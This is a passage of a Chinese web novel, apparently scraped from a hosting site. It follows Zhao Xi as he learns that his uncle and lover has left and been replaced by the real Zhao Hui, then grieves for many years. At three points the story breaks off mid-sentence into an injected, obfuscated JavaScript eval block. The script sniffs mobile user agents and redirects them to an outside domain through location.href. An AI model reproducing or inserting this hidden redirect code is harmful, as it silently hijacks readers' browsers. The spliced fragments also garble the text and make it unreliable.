但小叔叔什么也没做,他只是帮赵熙掖了掖被子,然后穿好衣服走了。 他想自己悄悄离开——赵熙一瞬间就察觉到了。 他起身披上外套,站在门口,手放在门把手上却迟迟按不下去,他也不知道自己在怕什么。 太多疑点了。 如果是出去旅游,小叔叔为什么一直没告诉他?为什么要匆忙订票?为什么半夜悄悄离开? 更多的赵熙不敢想。 听见门口轻轻的脚步声停在猫房附近,他还是把门打开了。 看见猫房的门开着,小叔叔进了猫房,似乎要和崽崽告别,赵熙的目光落在楼梯口那只行李箱上。 他也不知道自己在想什么,走过去想帮姜洄把箱子提下去,拎起来才发现——箱子很轻,似乎没装多少东西。 赵熙还是没拿下去,他下了楼,等在沙发边,脑子里一团乱麻。 直觉告诉他哪里不对,可他的情感在逃避这种直觉。 但或许是他潜意识里已经意识到了什么,哪怕不安到了极点,除了那一句能不能别走之外,赵熙没有过多阻拦。 一晚上,赵熙躺在床上睡不安宁,翻来覆去很久,睡了几个小时又惊醒了。 房间里空空荡荡,窗帘缝隙里投进几丝刺目的白光。 赵熙看了眼时间,早上八点。 他下床拉开窗帘,窗外一片白茫茫的——下雪了。 天地共一片雪色。 恍然两秒,他想起昨天和小叔叔提过滑雪的事情,于是又忙去翻手机—— 一晚上过去,置顶框里仍旧没有任何消息回复。 赵熙抿了抿唇,猜想他可能还没有落地。 为此他又去翻了这趟航班的落地时间,昨晚零点确实有一趟去法国的航班,知道是中午十二点才落地,这才稍微安心了些。 赵熙收拾了下自己,又去猫房给崽崽添了些猫粮和水,把它放出来玩。 可惜崽崽吃了点东西,似乎有些提不起劲,趴在猫窝里没动。 赵熙担心是天气太冷它感冒了,但又不像,因为没有打喷嚏。 等明天还是这个情况的话,带它去医院看看好了。 赵熙下楼遇见了来做早餐的陈阿姨,虽然他爱做饭给姜洄吃,但也不是每天都有这个空,所以陈阿姨还是很有存在必要的。 小叔叔似乎和他们都打了招呼,所以看赵熙只有一个人来吃饭的时候,陈阿姨也没有惊讶。 吃过早饭,他像以往一样坐王叔的车去了公司,王叔同样没有问小叔叔的去处。 赵熙感觉身侧空荡荡的,大概是没有小叔叔的陪同,这是他第一次上班时间一个人去公司。 姜洄的那几个保镖没有带走,留在了他身边。 赵氏集团所有人的称呼都变了,赵熙成了新的“赵总”。 他有些不习惯,总觉得还是在喊小叔叔,这不习惯里有多少是不安在作祟,他不得而知。 坐在以往姜洄坐着的办公桌边,他发现这里的所有东西一夜之间都消失了。 ……小叔叔是什么时候搬走的呢?这几天小叔叔太忙,他也跟着一起忙,竟然没有发现。 赵熙将自己的所有文件工作都搬了过来,独自开始工作。 一直熬到十二点,闹铃响起,他打开手机,看到的仍然是空荡荡的消息界面。 赵熙没忍住,又发了一句:小叔叔,记得回消息。 然而一直到夜幕降临,到他回到别墅,也仍旧没有任何一条消息回过来。 以前从没有这样的情况,不管小叔叔在做什么,总会回复他两句的。 赵熙忍不住地焦灼,要不是因为没有相关新闻报道,他甚至要怀疑是不是飞机出了什么事故。 他坐在车上,反复拨打着小叔叔的电话,然而电话里始终传来的是“您拨打的电话无人接听”。 恐慌在他心里一点点蔓延。 这种恐惧直到在别墅院子前看到屋子里亮堂堂的灯光时,顿住了。 47.真相 家里有人? 他今天回来的很晚,陈阿姨该下班了才对。 这个点,谁会来这里? 谁有他家门的钥匙? 只有小叔叔。 他回来了? 他不去旅游了? 赵熙眼前微微一亮,心情也松快了几分,他不自觉加快了步子,按着指纹解锁了大门。 只是打开的大门之后,屋子里只有冰冷的灯光照在他身上。 沙发上没有见到他熟悉的身影,赵熙扫过一眼,又快步上了楼。 主卧也没有,书房也没有。 亮着灯的只有楼下的客厅。 赵熙如坠冰窟,正愣神间,忽然听见身后传来声响。 他猛然转过头。 是崽崽蹲在主卧门口看着他。 “……是你开的灯?”他缓了缓,走过去将猫抱起来,崽崽舔了舔他的手心,不知道有没有听明白他的话。 赵熙还是觉得奇怪,他打不通姜洄的电话,本想找小叔叔的朋友或是亲近的人问一问,但想来想去,忽然感到茫然。 就像他所一直感觉到的那样小叔叔好像没有根——除了自己以外,赵熙从没看见他和谁亲近过,曾经的朋友也已经很久没有联系,他总是淡淡的,好像对什么都不太在乎……哦,他在乎钱,但这种东西姜洄很多,用不着赵熙给他。 可是除此之外,他和这个世界好像就没有什么联系了。 赵熙以为自己很了解他,没想到到头来却是一无所知。 除了一个电话,他甚至不知道该去哪里找他。 他只好打电话去问陈阿姨,唯一一个除了他们手握别墅钥匙的人:“陈姨,今天小叔叔回来过吗?” 陈阿姨愣了愣:“没有啊,二少爷不是去旅游了吗?” 赵熙心里那种喘不上气的感觉更深了:“那家里的灯是谁开的?” 陈阿姨道:“哦,我开的啊。” 赵熙瞬间泄了劲儿,有些不解:“为什么突然把灯打开了?” “哦,是二少爷前两天吩咐过的,说他不在的时候,记得给你留盏灯,怕你怕黑。” “……明白了,小叔叔和您说过什么时候回来吗?” “没有欸,他没和你说吗?” “没事,只是问问。” 赵熙沉默地挂了电话。 所有人都以为他知道,其实他是最后一个知道小叔叔要走这个消息的人。 他抚摸着怀里的崽崽,一时不知道怎么办才好。 他该问清楚的,具体去哪里,什么时候回来…… 想到什么,赵熙匆忙又从通讯录里翻出一个备注“李叔”的电话,拨通过去。 他记得小叔叔之前还有一个手机号,在用,但用的不多,李润应该知道。 要到号码之后,赵熙再次拨打了出去。 这回在长达数秒的忙音后,电话被人接通了。 “喂。”男人有些困顿的声音在电话那头响起来。 是小叔叔的声音。 但是……为什么有点奇怪? 赵熙压下心里的别扭,急匆匆道:“小叔叔,你在哪里,怎么不回我消息?” 那边安静了一会儿,咳了一声,有点磕巴:“哦,你、你是赵熙是吧?那什么,之前用的那个电话下飞机被偷了,我又买了个手机,只找回来这个号……哎,我倒时差呢,过段时间旅游回去和你聊啊。” 于是赵熙手里的电话只接通了不到半分钟再次被人挂断。 他愣了片刻,只觉得这声音虽然仍旧是小叔叔的声音,听着却非常奇怪。 没有他熟悉的那种冷静而慢悠悠的腔调了。 而且电话挂得这么快…… 一瞬间他脑海里涌现出了无数种乱七八糟的念头,怀疑小叔叔是不是被人绑架了,像网上说的那样被ai合成了声音和他通话…… 他又发了两条消息仍旧石沉大海,思来想去,他还是报了警。 小叔叔怪他不要紧,他的安全最重要。 警察在第二天告诉他,赵茴确实是在法国哦旅游,现在人还好好的,并且给了警察他现在用的手机号,警察转告了赵熙。 加上这个联系方式,赵熙看着对方用的潮男动漫头像,微微皱眉。 这不是小叔叔喜欢的风格。 他打开对方的朋友圈,看见一小时内对方还发布了一条新动态,风景照边露出的半张脸确实是小叔叔,笑容灿烂,是赵熙从没见过的开怀。 心里那种奇怪的感觉更强烈了。 他给小叔叔发消息:小叔叔,你什么时候回来? 对方过了好几个小时回他:呃,大概还要半个月? 赵茴和姜洄是在机场互换的身份,他拿到了姜洄的手机,但手机里和“赵熙”的所有感情相关的东西都被提前删干净了,姜洄新建立的那个号都是公司伙伴,赵茴登录不上,也用不到。 他只有这几年姜洄传来的一些粗略记忆概况,并不是直接传达到记忆里的,而是文字一样的故事梗概。 而且系统没有告诉他关于姜洄和赵熙之间的事情,不过赵茴知道对于那个没有见过面的任务者来说,这个突然冒出来的“侄子”非常特殊,这也是他对赵熙态度还不错的原因。 赵熙紧接着问他:能不能明天就回? 赵茴懵了一下,一头雾水:啊?为什么啊。 赵熙盯着消息框:我怀疑你是绑匪冒充的,但没有证据,你要是不回来一趟我真的不放心。 这孩子这么敏锐?一通电话就发现他不是那个任务者了? 赵茴没办法,只能答应,不然他真怕赵熙直接杀过来找他。 见对方应下来,赵熙终于算是短暂地放下了心。 他说会订今晚机票明天中午回来,赵熙便松了口气,想起萎靡不振的崽崽,旷了一上午的工作,先带它去了一趟医院。 本来这种事他也会发消息和姜洄说一说的,但不知道为什么,看着那个陌生的头像,他一点倾诉欲/望也没有。 算了,等小叔叔回来应该就好了。 还是上次做绝育的医院,医生给崽崽检查了一遍,说:“没什么问题,情绪不振可能是天气变冷了,家里注意保暖,不要带它出去吹风。” 赵熙应了,知道它没事也算是安下心来。 他又强制让自己宁静下来,等了一整天,第二天的中午本想去接机,但又因为临时一个会议耽误了。 他匆匆赶回家,带着一身风雪进门,看见沙发上熟悉的身影时,眼前一亮。 他下意识上前,但嘴里的那句“小叔叔”却在看清对方的表情后刹那间顿住了。 赵茴站起来,他拿着的手机是赵熙最熟悉的那个,但上面一直系着的平安符没有了。 不是说手机丢了吗? 没丢的话,为什么电话打不通,为什么平安符不见了? 赵熙神色掩不住的局促,他打量着赵熙的目光透露着陌生,顶着赵熙熟悉的一张脸,声音也是赵熙最熟悉的声音—— “……那个,我回来了。” 但一开口,赵熙就知道不是他。 这不是他的小叔叔。 他倒退一步,神色茫然,一瞬间不知说什么好。 半晌,他道:“你是谁?” 赵茴像是被他的表情镇住了,磕巴道:“我?我是赵茴啊,你小叔……” 赵熙摇头。 他深吸一口气,感觉到自己的呼吸在变得急促。 “不是,你不是他。” 他的小叔叔没有回来。 可他同样感到无比惊奇——世上为什么会有一个人和小叔叔长得如此相似?声音、身形、包括手机也是一样的。 寂静的屋子里,赵熙粗重的呼吸声那样明显。 赵茴捻了捻手指,抓了下头发——赵熙的目光因此投过去,他注意到,赵茴的头发很短,可是小叔叔不爱剪头发,要不是他每次提醒,小叔叔一年到头都不会去剪一次头发。 怎么可能去了一趟国外,就剪了个头发? 还有眼镜。 小叔叔并不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088068|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时时刻刻都带着眼镜,那晚走的时候他就没有戴,赵熙以为他是装进了行李箱。 但回来的话他一定会戴上的。 赵熙眼神变了,他几步冲上去,攥住对方的衣领:“你到底是谁?我小叔叔呢?他去哪儿了?你把他怎么样了?!” 赵茴比他稍矮一些,一下差点被他原地提溜起来,吓了一跳:“欸欸欸,不是,我就是赵茴,我真的是赵茴!你冷静一下……” 赵熙没法冷静,他怕小叔叔出事,一时间满脑子都是杀人后整容冒充回来夺取财产的那种新闻。 直到赵熙抬起双手作投降状,连声道:“你要是不信,你可以去调监控!这一路上应该都有踪迹能查到的……” 赵熙冰冷地打量了他两眼,最终还是松手将人放开了。 “跟我去警局。” 赵茴苦不堪言,寻思这都是什么事啊……但他确实不慌,有系统垫底,换了人也不可能有后患之忧。 大概还是不相信他,赵熙走在他后面,注意到这个回来的“赵茴”似乎身形要高那么一点。 就一点点,不太看得出来,身材也要壮一些。 赵熙想到曾经注意到小叔叔定制的衣服要大一些的事情,微微皱眉。 他不愿深想,全程沉着脸到了警局。 期间王叔开车,觉得疑惑问了一嘴,赵熙只说:“他不是小叔叔。” 王叔便看了眼旁边有些尴尬的赵茴,看来看去也没发现哪里不对:“不可能吧……少爷是不是想多了?” 赵熙不再说话。 来接待的警察以最快的速度,调查到了机场里和下飞机后的几段监控录像。 画面显示,除了上下飞机之前上过两次厕所,画面里的人一直都是“赵茴”,全程都有影像证明,从未变过。 这么短的时间,也不可能有人谋财害命。 赵熙紧抿着唇,忽然注意到什么。 出机场的时候有一段画面,人群里的赵茴拿出手机看了一眼,但这个时候,虽然画面模糊,但也能看到他手机上是没有那个平安符的。 一旁的警察含蓄道:“赵熙先生,这边确实没有找到任何作案时间和动机,指纹结果也出来了,能和以前的‘赵茴''先生对上,您看您是不是想多了……” 赵茴也尴尬地应声:“是啊,你现在总信了吧?” 赵熙没有回答。 他还维持着最后的冷静,对警察说了声抱歉,撤销了报案,转头离开了。 回到别墅,他直奔二楼,朝主卧而去。 姜洄的个人领域概念不强,赵熙知道他所有东西的位置,但有一个地方,姜洄不让他碰,他也一直没有碰过。 他的心砰砰砰地跳着,胸腔里的情绪在被不断堆积,当一切答案都被否决后,那个最不可能的可能,或许才是事实。 他拉开衣柜门,找到了那个柜子。 姜洄没有上过锁,他一拉就开。 最上面的位置,正明晃晃摆放着姜洄一直挂在手机上的那个平安符。 因为年代久了,哪怕保养很好,也有些磨损,就像赵熙那个戴了很久的手表一样。 往下,是赵熙亲手制作的那条围巾,崭新如初,他从没看见小叔叔戴过几次。 还有他送给小叔叔的几张专辑、姜洄已经用空只剩一层底的香水瓶子、他们一起拍的那几张合照…… 所有所有,赵熙曾经带给他的一切礼物和回忆,包括那只本该随身携带的平安符和眼镜。 连衣柜里的衣服都没有少一件。 姜洄的离开原来蓄谋已久。 其实也有征兆的,他交给赵熙的股份转让书,和那一晚他缠着赵熙和他的无数个格外热烈的吻,以及这段时间他看向赵熙的每一个眼神,都在预示着什么。 只是赵熙不愿去想,也不愿相信,他的潜意识在逃避。 原来那晚他的行李箱那么轻,因为它其实是空的。 他什么都没有留下,也什么都没有带走。 那些装满回忆的礼物,猫。还有他。 48.潮湿 赵茴是一个人打车回来的,他回来时,看见赵熙沉默地坐在沙发上,衣服也没换,手机放在茶几上嗡嗡作响,似乎不断有消息进来,但他只是盯着桌上那瓶已经枯败的白茶花,一动不动。 分明和赵茴见他第一面时没什么变化,可赵茴就是觉得他好像整个人都阴沉了下来。 猫蹲在他脚边蹭着他的裤腿,只是他恍若未闻。 犹豫了下,他没有换上门口不属于赵熙的另一双鞋。 听见动静,赵熙回头看他,眼神已经没有了任何波动,惊喜或是愤怒,全都在他眼里消失了。 他说:“你是不是知道什么?” 赵茴踌躇两秒,还是在他紧紧盯着自己的目光里走过去:“……你问的是我以为的那个问题吗?” 崽崽在他起身走过来的一瞬间起身跑走了,这个年纪的猫,又是一直养在家里的很少出去的,很认生。 它的反应也证明了赵熙的猜测不假。 “赵先生,”赵熙顿了顿,道,“或许是该这么称呼你,我很抱歉刚刚那样冲动,但我想知道,你是不是知道些什么?” “我小叔叔去了哪里?”他声音沉下来了些,有些微不可察的哽塞,很快又恢复如常,“能不能告诉我?这对我非常重要。” 事已至此,赵茴大概也看出什么,没再挣扎,他道:“……我能冒昧问一下,你们是什么关系吗?” 总觉得这个反应,不像只是养大自己的小叔叔走了,更像跑了老婆。 赵熙微妙一顿:“……恋人。” 他的声音低了一瞬间,又重复道:“我们是恋人。” 他敢说出来,是因为面前的人是顶着“赵茴”的身份的,绝不会把这件事说出去。 赵茴:“……卧槽……好吧其实我也大概猜到了。” 赵熙喉间发紧:“你真的知道?” 赵茴挠了挠头:“本来不应该说的,不过……好像也没有限制我不能说。” “那个……你小叔确实和我不是一个人。他走之前,通过一些媒介,拜托我以后好好照顾你,但我也确实就是‘赵茴’,不知道你能不能理解我的意思……” 赵熙皱眉,大概明白了些,这和他之前的猜想不谋而合:“……那他现在在哪里,还会回来吗?” 其实后一个问题他心里已经有了答案,但他不死心,还是想问出来。 赵茴摇摇头:“抱歉,我真不知道他在哪,他来到这里其实是为了替我完成一些事情,我对他的所有了解都来自于那个媒介……但是媒介的存在是个禁忌,这个真不能说。” “至于他是谁,在哪里,来自哪里,这些我都不知道,”赵茴叹气道,“而会不会回来这个问题……我想是不会的。” 赵熙呼吸又急促起来,他胸腔难以抑制地起伏了两下:“……为什么这么确信?” 赵茴纠正了一下言辞:“这么说吧……如果他在这个世界上,那你还有可能找到他,但是如果不在……” 如果不在,谁也没有办法找到他。 虽然早有预料,但对这个答案,赵熙还是感到心跳都停拍了几秒。 他闭了闭眼。 赵茴忙道:“不过赵氏集团有你打理我挺放心的,事已至此,如果你需要我,我可以留下来真的当你小叔叔也行。当然要是不需要,我就搬去法国那边,正好我旅游还没玩够,今后就不出现在你眼前了,记得每个月给我打点生活费就行。” 赵熙平定了一下情绪,冷静道:“你之前是住哪里的?” 赵茴报出别墅名,是他常住的那几间房产,其中就有小叔叔从不让他去的。 他又问:“你的手机……是登不上他的号吗?” 赵茴点点头:“他走的时候好像把卡带走了,我没看见另一张卡,还有那个新微信号退出来了,我也登不上去,不知道密码。” 赵熙也点头:“我明白了,这栋别墅之前也是你的房产吗?我想向你把他买下来。” 赵茴回忆了一下:“好像是的,不过买下来就不用了,我可以直接送给你。对了,我记得他给你留了几栋别墅,那都是他自己赚来给你买的,也没花我的钱,这栋别墅你想要,我就当给他的谢礼了。” 赵熙没有推辞,赵茴便道:“那……我走了?” 赵熙点头:“抱歉,外人面前我们还是要维持叔侄关系,我会每个月给你打钱的,赵氏集团始终是赵家的资产。” 赵茴摆摆手:“不用这么客气,你现在不也是赵家人嘛,谁的都一样。” 赵熙沉默着没说话。 他摁亮手机屏幕,屏保是他和小叔叔的合照。 那时小叔叔似乎兴致不高,他一直以为是小叔叔不爱拍照,原来是因为,这张脸其实并不属于他。 所以每个身体纠缠一处的夜晚,他都不愿意让赵熙开灯或是正面看着他。 从前的一切痕迹都有了缘由。 时至今日,赵熙终于明白小叔叔为什么不肯公开了。 因为他不是赵茴,他要离开,就不可能给原本的赵茴留下一段公开的恋情。 我的所有身份、权力、财产,甚至爱好、厌恶的和擅长的,都是你给予我的。 但到头来,不止这些我送给你的礼物,我连你是谁,从何处来,又去了哪里……都一无所知。 除了一个小叔叔的称呼,我似乎什么也留不下。 可他甚至不愿意,亲口跟他告个别。 是不是在我们最相爱的时候,在我兴高采烈和你说着对未来的畅想的时候……那时你看着我的眼睛,想的也是如何离开呢? …… 赵茴走了,别墅里没有属于他的东西,他决定回另外的几栋房产休息一下,然后过段时间就移居去法国。 他是个标准的玩乐党,和向来懒散的姜洄一点也不一样,呆久了也容易露出破绽,毕竟一个人能性格大变一次,变两次就要惹人怀疑了。 至于王叔他们,这些年在这件别墅待惯了,赵茴也不打算带走他们,就留给赵熙用了。 大门关上之后,赵熙看着偌大的别墅,只觉得心里空荡荡的,好似缺了一块什么。 他静静坐了一会儿,很久,起身上了楼。 崽崽蹲在过道上,似乎发现上来的只有他一个人,喵了一声,蹭了蹭他的腿。 猫都是有灵性的,它这段时间格外黏小叔叔,又在小叔叔走后萎靡不振,是不是也有感觉到小叔叔不会回来了? 但猫不会说话,赵熙也无从得知。 他安静地蹲下来,摸了摸小猫养得圆滚滚的脑袋,低声说:“笨猫崽崽。” “你爸爸不要你了。” 也不要我了。 他明明给了那么多可以留下对方的东西,他还送了一只猫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在客厅里看见花瓶里的山茶,看时间看见手腕上的手表,回房间看到床头柜上的照片,打开衣柜看见两个人排得整齐的衣服,洗澡看见胸前冰冷的蛇链……都要愣一会儿神。 姜洄一身轻地走了,可这个别墅里,每一处都有他存在过的痕迹。 赵熙很痛苦,这种痛苦慢刀炖肉般一日日地用思念折磨着他,他像是病了,周身没有属于姜洄的东西就十分不安与焦躁。 衣柜里那些衣服被他一件件放在床上,每逢夜晚他都抱着姜洄送他的那只娃娃,埋头在这片衣服里好让自己短暂地忘却爱人离去的事实。 但它们上面属于姜洄的味道也仍然在一天天变淡,直到最后消失无踪。 某天他又翻出压箱底的那件大衣——那件在初见时姜洄送给他的风衣,这件衣服姜洄早就抛之脑后,以为他早就扔了,其实没有。 它被他收藏了太多年,仍旧整洁如新,只是看着它,赵熙就好像又看到了那个风雪中朝自己走来的身影。 十年时他为他撑了一把伞,十年后他却不告而别,只留给他半生潮湿。 十九岁,他曾贪心地在生日当天许下了要和小叔叔永远不分开的愿望。 风提前吹灭了蜡烛,就好像预示着这个愿望不会成真,哪怕他再补救也无济于事。 第二年,小叔叔就这样于一个平常的寒冬深夜,头也不回地离开了他。 原来做人,真的不能太贪心。 49.终点 赵熙和小叔叔一样,都喜欢柔软的东西。 不知道是从什么时候,大概是将会把他接回家送给他那个皮卡丘的娃娃开始——他喜欢抱着东西睡。 一开始是娃娃,后来习惯和小叔叔睡在一起,抱着的就变成了小叔叔。 而小叔叔走后,他就这样一个人又抱着冰冷的各种其他各种小叔叔留下的东西睡了很久,虽如饮鸩止渴,却无法抑制……春去秋来,四季更替,很多年。 他再次习惯了床板冰冷的温度,习惯了深夜惊醒身侧空无一人,习惯了吃饭时在一旁摆上另一个人的碗筷,吃完再若无其事地收起来,习惯了一个人照顾崽崽,习惯了每隔一段时间更换一次客厅桌上的白茶花,习惯了一个人过生日,习惯了没有人会在难过时递给他一把糖…… 习惯了太多太多,小叔叔不在的日子。 可痛苦并没有因此减轻分毫。 他开始变得沉稳、内敛、冷静,如同曾经的小叔叔一样。 原本火山一样喷薄的生命力好像就在意识到小叔叔不会回来的那一天之后静止了,归为沉寂。 等待的第二年,他从江大顺利毕业,没有继续读下去,专心投入了工作,期间他还去参加了韩子晨的婚礼。 韩子晨也算是圈子里出了名的花花公子,从成年之前就女友不断,不过还算负责,没有脚踏两条船过,二十岁那年在大学交到了现在的妻子,热恋两年,毕业就结了婚。 婚礼上韩子晨来跟他敬酒,见他摇头说不喝酒,韩子晨奇怪:“你不是说是你小叔不能喝酒吗,你小叔现在都搬去法国了,怎么你还不能喝?” 赵熙默了默,说:“习惯了。” 他总想着,万一哪天回家,可以遇见回来的小叔叔呢? 小叔叔知道他害怕黑暗,所以特意叮嘱陈姨每次晚上做完饭回去,要给他留灯。 可是赵熙却告诉陈姨,不用这样,要让别墅一直黑着才好。 这样要是哪一天小叔叔回来了,他还能立刻发现亮起的灯光。 那时候要是带着满身酒气回去,小叔叔会不会因此不高兴呢? 可惜,他的期待每次都落空了。 每次回家看见漆黑一片的家,他都会陷入长久的沉默。 他自顾自地把自己固执地困在这段黑暗中,像是自我惩罚一般,好记住失去对方的每一个夜晚究竟有多难熬,也记住那个人带给自己的温暖有多烫人,烫到无论过去多久都无法忘却,反而随着时间流逝,变得越来越清晰。 韩子晨也没有强求,他揽着身侧的新娘,两人笑得甜蜜。 他说:“我现在定下来了,余书好像也快谈了,你呢?对了,你之前不是有喜欢的人吗?现在怎么样了?” 赵熙说:“他走了。” “走了?”韩子晨懵了一瞬,“你被甩了?” 也可以这么说。 赵熙苦笑了下,没有反驳。 “追不回来了?” 赵熙抿了口果汁,淡淡道:“……他没给我追的机会。” 韩子晨叹口气,拍拍他的肩膀,没有多问:“真没想到你也有被甩的一天……哎,也别太难受了,早点走出来,下一个更乖。” 赵熙笑笑,想,没有下一个了。 有时他也会恨,恨小叔叔的不告而别,恨他不愿坦诚信任,恨他抛下自己一走了之,恨他或许没有赵熙想象中那样在乎这段感情……恨他玩厌了可以轻而易举抽身而出,赵熙却做不到。 但恨又怎样呢。 他们一起经历了那么多——在一起之前的,在一起之后的。 所以姜洄走后的每个季节,他哪怕走在路上看着任何东西、任何事物或者人,都会想起记忆中的那个人。 每次回忆,就犹如反复鞭刑。 而他也沉沦其中。 他刻意在用这种痛苦和思念来折磨自己,仿佛这样就可以永不忘却对方带给自己的所有温暖与痛苦。 二十二岁生日当天,赵熙从定制店里拿到了一双戒指。 一只戒指内侧刻着他的名字,另一只内侧却只有一条细长的黑蛇。 他将刻着黑蛇的那一只戴上无名指,再将另一只放进了主卧的床头柜。 他曾说等他二十二岁,就和小叔叔结婚。 他对小叔叔说的是假如那个时候他不变心——可事实上赵熙从没有想过这个可能他从一开始就想好了,只要小叔叔愿意,他结婚的对象就只会是小叔叔。 不需要公开,只要一个能够将他们绑在一起的身份,以确保小叔叔可以一直在他身边。 他甚至已经想好了到时该如何求婚,场地选在哪里,婚礼去哪里办,该请哪些人能完全保密不会传出去…… 但或许是看穿了他的意图,小叔叔竟然连这两年也不肯等一等。 没关系。 他想。 戴上戒指,就当已经结过婚了。 虽然另一只戒指,不知道何时才能落到它主人的手里。 赵熙搬进了原先姜洄一直呆着的那间书房,却没有动姜洄的那些东西,书和文件都在原地,只是他的东西添了进去。 他用那只姜洄送他的笔,批改着各种文件,有时休息片刻,就会盯着角落里放着的那把吉他发呆。 他把姜洄送给他的一切礼物都保养得很好,包括这把吉他,可从毕业之后,他就很少再拨动琴弦了。 因为他唯一的听众已经不在他身边了。 不过他仍旧保持着在每年的小叔叔生日上煮一碗长寿面的习惯。 端上桌子,然后看它一点点凉透,最后自己吃掉。 二十五岁,他又去参加了余书的婚礼。 周围的朋友陆陆续续也有了自己的家庭,只有他独自生活在这栋别墅里,形单影只。 但只要有人劝他,找个伴吧,他都会说:“我已经结婚了。” 然后把手里的戒指亮给他们看。 没有人能理解这样的赵熙,他们看着赵熙的眼神就像看到一个可悲的疯子。 但时间久了,他们也不劝了。 如此,五年又五年。 时间真是一种很奇妙的东西,分明度日如年,可日月轮转,年岁还是在这四季更替里悄然逝去了,回首看去,又觉得有些快得离谱。 其实在长达数年的寻找里,赵熙隐约知道,小叔叔不会回来了。 那个人一向说话算话,他许下的承诺从不食言。 他没有承诺出归期,那其实就是没有归期。 他一开始还有所期待,直到岁月冲淡了他的这个念头,最后只余思念与苦痛折磨,将行就木,甚至不知日子到底过去了多久。 没有对方在的每一天,他对时间的概念都变得不甚清晰,也已经没有了家的概念。 那座别墅,只是一座承载着他回忆的器具罢了。 余书他们也曾来找过他很多次,只听说他分手,他小叔也搬去了国外,不知道发生了什么,这么多年过去,多次劝他放下。 于是赵熙问他:“多少年了?” 余书愣了一下,想了想:“……十一年吧。” 是吗,原来十一年了。 时间过得太快,小叔叔离开他,已经十一年了。 他离开时赵熙刚满二十,而今他的年龄已经比当年的小叔叔还要大了。 余书说:“要是你小叔叔知道你这样,也会生气吧?” 赵熙反而笑笑,语气淡淡的:“那挺好的。” 要是能气得回来抓着他耳朵教训,问他这么多年怎么一点长进都没有,那就更好了。 人人都说赵茴就是他的小叔叔,只有他知道不是。 人生还能有多少个十一年呢? 赵熙想。 我怕我等不到你,也怕我没办法等到等到你。 等待姜洄的第十二年,赵熙已经变得十分平静了。 他将小叔叔留给自己的公司打理得井井有条、蒸蒸日上,偶尔也会想,要是小叔叔看见会高兴吗? 可惜小叔叔看不到了。 他的病实在有些严重,这些年光靠小叔叔的衣服和留下的那些东西已经没有办法让他安静了,他需要配合药物治疗。 给他治病的还是当初那个他咨询过的老医生,当初他还在担心小叔叔的症状,现在要吃药的人却还多了他一个。 他没有将小叔叔治好,自己却栽进去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098524|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连医生也不理解他,为什么一直困在自己记忆中的那个人身上,总说现实里的不是他要找的那个人。 他们把他归咎为精神分裂症。 赵熙只是一笑置之,他并不为此争辩什么,每次去医院,只是去拿那些安眠镇定的药物。 如果是病,就一直病下去吧。 他一直觉得小叔叔在世上的联系好像只有他,其实他又何尝不是。 他的亲生母亲连自己的人生都无法掌控,父亲更是早就入狱,和他没有了丝毫干系,他和现在的“赵茴”也没有任何感情……他是赵熙的小叔,却不是他的小叔叔。 从十岁那年开始,他最在乎的人,就只有小叔叔了。 他也曾对小叔叔说过,他说,你是我唯一的亲人与爱人。 有时夜深人静,赵熙也会忍不住想,离开的时候他心软过吗? 会想到从今以后赵熙都要一个人孤单地活下去吗?会想到他也会因此难过吗? 也许想到了,但还是走了。 他的置顶仍然是那个人的微信,备注只有一个爱心。 他发出去的消息,从那晚之后,再也没有了任何回应,电话里传来的声音在三个月后就变成了“您拨打的号码是空号”。 可他还是坚持每隔一段时间都给这个已经变成原始头像的微信号发一些消息,有时是日常,有时是情绪,高兴或是不高兴,思念或是痛苦。 每年过年,他都会掐着点发一条消息,说“新年快乐”,然后加一句:什么时候回来? 如此反复,从未间断。 他就这样固执地等了一年又一年。 到现在,赵熙也不知道自己在等什么了,在找人方面投入的资金已经数不清了,但他还是找不到那个人。 崽崽今年已经十四岁。 它老死离世的那天,是在赵熙怀里闭眼的,赵熙亲手将它埋在了别墅的后院里,立了个小碑。 他坐在台阶上看着这块碑,指尖的烟火光明灭,眉眼间忽然一凉,一抬头,发现又下雪了。 他这一生,似乎总与雪有缘。 突发奇想,赵熙想要回到当初那个小巷子看一看。 他说做就做,将烟掐灭,开着车去了。 落日小巷,这条街,从他来到赵家后就再也没来过了,这样的贫民街,是不会和高贵的赵家少爷扯上关系的。 可这里却是他们一切纠缠的最初点。 来到巷口时,还没下车,他便坐在车上,透过车窗看到了一株夹缝中存生的、枯败的桔梗花。 赵熙打开车门的动作一顿。 他给小叔叔送过花,他还记得当时他和小叔叔说,每一种花都有寓意,他专门学过的。 那时他告诉小叔叔,桔梗的花语是无悔永恒的爱。 其实还有一句没有说出来。 桔梗的花语还有一种,是无望的爱。 他注视那花良久,最终还是没有踏进哪条小巷,只是仿佛失去了所有力气,被什么从脊骨中抽走了最后的生机,站靠在车窗边,陷入了沉默。 他终于在此刻彻底接受,小叔叔不可能回来了。 此刻他的身影,同二十多年前那个小巷子里的孩子仿佛重叠了起来,靠在车窗边,垂眸落寞不语。 雪花落了满身,宛如一座沉默的雕塑。 